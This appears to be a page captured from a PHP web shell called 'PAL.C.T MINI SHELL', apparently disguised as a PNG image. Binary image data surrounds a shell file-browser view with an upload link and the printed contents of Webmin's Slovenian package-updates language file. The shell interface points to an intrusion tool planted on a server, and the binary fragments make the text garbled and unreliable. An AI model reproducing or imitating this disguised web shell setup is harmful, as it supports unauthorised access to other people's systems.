php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/package-updates/lang/
upload
files >> //usr/libexec/webmin/package-updates/lang/sl.auto

index_title=Posodobitve programskega paketa
index_name=Paket
index_desc=Opis
index_status=Stanje
index_source=Vir
index_bad2=Posodobitev na različico $1 še ni na voljo : $1 
index_bad=Posvetovana posodobitev na različico $1 : $2 
index_new=Nova različica $1 
index_ok=Najnovejši $1 
index_update=Posodobite izbrane pakete
index_install=Namestite izbrane pakete
index_return=seznam paketov
index_header=Možnosti načrtovanega preverjanja
index_sched=Preverite posodobitve po urniku?
index_sched1=Ne
index_sched0=Ja, vsak
index_schedh=uro
index_schedd=dan
index_schedw=teden
index_email=Poročilo o posodobitvah po e-pošti
index_action=Ukrepati, ko je potrebna posodobitev
index_action0=Samo obvestite
index_action1=Namestite varnostne posodobitve
index_action2=Namestite kakršne koli posodobitve
index_err=Seznama paketov ni bilo mogoče pridobiti
index_refresh=Osvežite razpoložljive pakete
index_noupdate=Posodobitev od različice $1 ne obstaja
index_caninstall=Na voljo za namestitev
index_webmin=Webmin modul $1 
index_webmintheme=Tema Webmin $1 
index_mode=Države za prikaz:
index_mode_current=Nameščeno
index_mode_updates=Samo posodobitve
index_mode_new=Samo novo
index_mode_security=Samo varnostne posodobitve
index_allsel=Paketi za prikaz:
index_all_0=Samo v zvezi z Virtualminom
index_all_1=Vsi paketi
index_none_all=V vašem sistemu ni bilo najdenih paketov, ki jih upravlja sistem za posodobitev!
index_none_updates=Paket ni bilo na voljo za posodobitev.
index_none_both=Ni bilo mogoče najti novih paketov ali paketov, ki bi jih bilo mogoče posodobiti.
index_none_new=Ni bilo najdenih novih paketov za namestitev.
index_count=Najdeno $1 ujemanje paketov ..
index_manynew=Za namestitev je na voljo $1 paketov. Z iskalnim poljem poiščite tiste, ki jih želite namestiti.
index_search=Poiščite pakete, ki se ujemajo:
index_searchok=Iskanje
index_clear=Pokaži vse
index_tabpkgs=Posodobitve paketov
index_tabscheds=Načrtovane nadgradnje
index_tabsrepos=Repozitoriji paketov
index_scheddesc=Ta obrazec se lahko uporablja za samodejno namestitev posodobitev paketov v redni razpored.
index_reposdesc=Na tej strani lahko konfigurirate, kateri repozitoriji bodo uporabljeni za nove ali posodobljene pakete.
index_reposname=Ime skladišča
index_reposenabled=Omogočeno?
index_reposurl=URL paketa
index_reposdisable=Onemogoči shrambe
index_reposenable=Omogoči skladišča
index_reposdelete=Brisanje skladišč
index_repoheader=Nove možnosti skladišča paketov

update_title=Posodobite pakete
update_title2=Namestite pakete
update_enone=Izbran ni noben paket
update_pkg=Zdaj posodabljam $1 ..
update_pkg2=Zdaj namestite $1.
update_done=Nameščen paket $1 $2.
update_ok=$1 paketov je bil uspešno nameščen.
update_failed=Paket ni bil nameščen. Preverite zgornja sporočila o vzroku napake.
update_efindpkg=Paketa za posodobitev z imenom $1 ni bilo mogoče najti
update_edownload=.. $1 : $2 ni bilo mogoče prenesti
update_einstall=Namestitev ni uspela : $1 
update_efound=Ni mogoče najti $1 na seznamu paketov, ki so na voljo.
update_depend=Namestitev odvisnosti $1 $2 ..
update_wdownload=Prenos spletnega modula $1 ..
update_ewdownload=.. ni uspelo : $1 
update_wdownloaded=.. prenos dokončan
update_winstall=Namestitev modula Webmin $1 ..
update_winstalled=.. namestitev končana
update_ewinstall=.. namestitev ni uspela : $1 
update_tgzdownload=Prenos najnovejše različice $1.
update_tgzdownloaded=.. prenesen $1 
update_tgzuntar=Pridobivanje arhivske datoteke ..
update_ecurdir=.. ni bilo mogoče dobiti trenutnega imenika namestitve!
update_econfigdir=.. ni bilo mogoče najti trenutnega imenika konfiguracije!
update_etgzuntar=.. odvzem ni uspel! Glej zgornje sporočilo o napaki za razlog
update_tgzuntardone=.. Končano
update_tgzsetup=Teče namestitveni skript ..
update_tgzsetupdone=.. nadgradnja dokončana
update_etgzsetup=.. nadgradnja ni uspela! Glej zgornje sporočilo o napaki za razlog
update_rusure=Ali ste prepričani, da želite namestiti spodaj navedene pakete $1 ? To lahko vključuje odvisnosti paketov, ki ste jih izbrali.
update_oldver=Trenutna verzija
update_newver=Nova različica
update_confirm=Namestiti zdaj
update_none=Noben
update_ops=Sestavite celoten seznam paketov ..
update_rebootdesc=Eden od nameščenih paketov zahteva vnovični zagon.
update_reboot=Ponovno zaženi

sched_title=Načrtovana posodobitev
sched_yes=Planirano preverjanje posodobitev je zdaj aktivno.
sched_no=Planirano preverjanje posodobitev je onemogočeno.

log_update=Nameščeni $1 posodobljeni paketi
log_sched=Omogočene načrtovane posodobitve
log_unsched=Onemogočene načrtovane posodobitve
log_refresh=Osveženi razpoložljivi paketi
log_enable_repos=Omogočena shramba paketov $1 
log_disable_repos=Onemogočena skladišča paketov $1 
log_delete_repos=Izbrisani $1 skladišča paketov
log_enable_repo=Omogočeno skladišče paketov $1 
log_disable_repo=Onemogočeno skladišče paketov $1 
log_delete_repo=Izbrisan repozitorij paketov $1 
log_create_repo=Ustvarjeno skladišče paketov $1 

refresh_title=Osvežujoči paketi
refresh_clearing=Brisanje predpomnilnikov paketov ..
refresh_done=.. Končano
refresh_available=Ponovno pridobivanje razpoložljivih paketov ..
refresh_done3=.. najdenih $1 možnih posodobitev

view_title=Podrobnosti o paketu
view_header=Posodobljene informacije o paketu
view_name=Ime paketa
view_desc=Opis embalaže
view_system=Sistem za posodobitev
view_state=Trenutno stanje
view_cversion=Nameščena različica
view_aversion=Na voljo različica
view_source=Vir namestitve
view_changelog=Sprememba sprememb za razpoložljivo različico
view_software=Upravljajte paket
view_update=Posodobite paket
view_install=Namestite paket

system_yum=YUM
system_apt=APT
system_csw=CSW (Blastwave)
system_webmin=Webmin modul
system_usermin=Usermin modul
system_tgz=Webmin ali Usermin tar.gz

repos_err_disable=Onemogočanje skladišč ni uspelo
repos_err_enable=Omogočanje skladišč ni bilo mogoče
repos_err_delete=Brisanja skladišč ni bilo mogoče
repos_err_create=Ni bilo mogoče ustvariti skladišča
repos_ebutton=Noben kliknjen gumb!
repos_enone=Izbrana ni nobena
repos_title=Brisanje skladišč
repos_rusure=Ali ste prepričani, da želite izbrisati $1 izbrana skladišča paketov? Paketi, nameščeni iz njih, bodo še vedno na voljo, vendar jih morda ni mogoče posodobiti.
repos_ok=Izbriši zdaj
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`